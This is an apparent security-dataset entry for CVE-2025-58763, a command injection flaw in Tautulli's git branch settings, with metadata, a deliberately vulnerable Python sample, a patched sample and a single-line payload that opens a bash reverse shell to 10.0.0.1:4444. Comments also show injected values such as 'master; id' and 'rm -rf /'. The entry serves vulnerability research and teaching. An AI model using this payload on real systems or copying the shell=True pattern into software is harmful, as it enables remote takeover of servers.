CVE-2025-58763
Tautulli admin RCE via command injection in git branch/remote settings.
- CVSS 7.2
- CWE-78
- Input Validation and Sanitization
- Remote
Tautulli is a Python based monitoring and tracking tool for Plex Media Server. A command injection vulnerability in Tautulli v2.15.3 and prior allows attackers with administrative privileges to obtain remote code execution on the application server. This vulnerability requires the application to have been cloned from GitHub and installed manually. When Tautulli is cloned directly from GitHub and installed manually, the application manages updates and versioning through calls to the `git` command. In the code, this is performed through the `runGit` function in `versioncheck.py`. Since `shell=True` is passed to `subproces.Popen`, this call is vulnerable to subject to command injection, as shell characters within arguments will be passed to the underlying shell. A concrete location where this can be triggered is in the `checkout_git_branch` endpoint. This endpoint stores a user-supplied remote and branch name into the `GIT_REMOTE` and `GIT_BRANCH` configuration keys without sanitization. Downstream, these keys are then fetched and passed directly into `runGit` using a format string. Hence, code execution can be obtained by using `$()` interpolation in a command. Version 2.16.0 contains a fix for the issue.
- CWE
- CWE-78
- CVSS base score
- 7.2
- Published
- 2025-09-09
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Tautulli
Solution
Upgrade Tautulli to version 2.16.0 or later.
Vulnerable code sample
import subprocess
# A simplified representation of the application's configuration store.
# In the actual application, this would be a more complex system.
# VULNERABLE: This code is susceptible to command injection
class AppConfig:
GIT_REMOTE = "origin"
GIT_BRANCH = "master"
config = AppConfig()
def runGit(cmd):
"""
Executes a git command using subprocess.Popen with shell=True,
which is the core of the vulnerability.
"""
p = subprocess.Popen(
cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
universal_newlines=True
)
stdout, _ = p.communicate()
return stdout
def checkout_git_branch(remote=None, branch=None):
"""
Represents the API endpoint that allows an administrator to set
the git remote and branch for updates. It performs no sanitization
on the input values.
"""
if remote:
config.GIT_REMOTE = remote
if branch:
# User-supplied input is stored directly in the configuration.
# This is the injection point.
config.GIT_BRANCH = branch
def perform_update():
"""
Represents the application update logic that is triggered by an admin.
It constructs and executes a shell command based on the configured values.
"""
# Fetches the remote and branch from the configuration.
# The 'git_branch' value can be controlled by an attacker.
git_remote = config.GIT_REMOTE
git_branch = config.GIT_BRANCH
# The attacker-controlled 'git_branch' is formatted directly into a command string.
# If 'git_branch' is "master; id", the 'id' command will be executed.
command = "git fetch {remote} && git reset --hard {remote}/{branch}".format(
remote=git_remote,
branch=git_branch
)
# The constructed, potentially malicious command is executed.
output = runGit(command)
print(output)Patched code sample
import sys
import subprocess
import shlex
# Assume TAUTULLI_PATH is the application's root directory
TAUTULLI_PATH = '.'
def runGit(cmd_args):
"""
Executes a git command securely by taking command arguments as a list
and using shell=False to prevent command injection.
"""
try:
# The key to the fix is shell=False. This ensures that cmd_args
# are passed directly to the executable ('git') as individual
# arguments. The operating system shell is not used to interpret
# the command, which prevents metacharacters like '$', '`', ';', '|'
# from being executed.
p = subprocess.Popen(
cmd_args, # The command and arguments are a list of strings
shell=False, # This is the critical security change
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
close_fds=sys.platform != 'win32',
cwd=TAUTULLI_PATH,
# The following are for consistent output across environments
text=True,
encoding='utf-8',
errors='replace'
)
(stdout, stderr) = p.communicate()
return stdout.strip(), stderr.strip(), p.returncode
except Exception as e:
print(f"Error executing command: {e}")
return None, str(e), 1
def checkout_git_branch(remote, branch):
"""
A function that checks out a git branch using user-provided inputs
in a secure manner. This function demonstrates how the fixed runGit
is used.
"""
print(f"Attempting to fetch remote '{remote}' and branch '{branch}'...")
# First git command: git fetch <remote> <branch>
# The user-controlled 'remote' and 'branch' variables are passed as
# separate items in a list, not as part of a formatted string.
# This prevents shell injection. For example, if branch was
# 'my_branch; rm -rf /', it would be treated as a single, literal,
# and invalid branch name by git, rather than executing 'rm -rf /'.
cmd_list_fetch = ['git', 'fetch', remote, branch]
stdout, stderr, returncode = runGit(cmd_list_fetch)
if returncode != 0:
print(f"Failed to fetch branch. Git stderr: {stderr}")
return False
print("Fetch successful.")
# Second git command: git checkout -B <branch> <remote>/<branch>
# The same principle applies here. All parts of the command are
# elements in a list.
cmd_list_checkout = ['git', 'checkout', '-B', branch, f'{remote}/{branch}']
stdout, stderr, returncode = runGit(cmd_list_checkout)
if returncode != 0:
print(f"Failed to checkout branch. Git stderr: {stderr}")
return False
print(f"Successfully checked out branch '{branch}'.")
return True
if __name__ == '__main__':
# --- Demonstration of the Fix ---
# Malicious input that would have caused remote code execution in the
# vulnerable version. Here, the attacker tries to inject the 'touch' command.
malicious_branch_name = 'main; touch /tmp/pwned'
safe_remote_name = 'origin'
print("--- Testing with malicious input on FIXED code ---")
# In the fixed version, the entire malicious string is passed as a single
# argument to 'git'. The 'git' command will safely reject it as an
# invalid branch name, and the 'touch' command will NOT be executed.
checkout_git_branch(safe_remote_name, malicious_branch_name)
print("\n--- Testing with valid input on FIXED code ---")
# This would work as expected if 'origin' and 'main' are valid.
# For this example, it will likely fail if not run in a git repo,
# but it demonstrates the intended secure usage.
checkout_git_branch('origin', 'main')Payload
$(bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')
Cite this entry
@misc{vaitp:cve202558763,
title = {{Tautulli admin RCE via command injection in git branch/remote settings.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-58763},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-58763/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
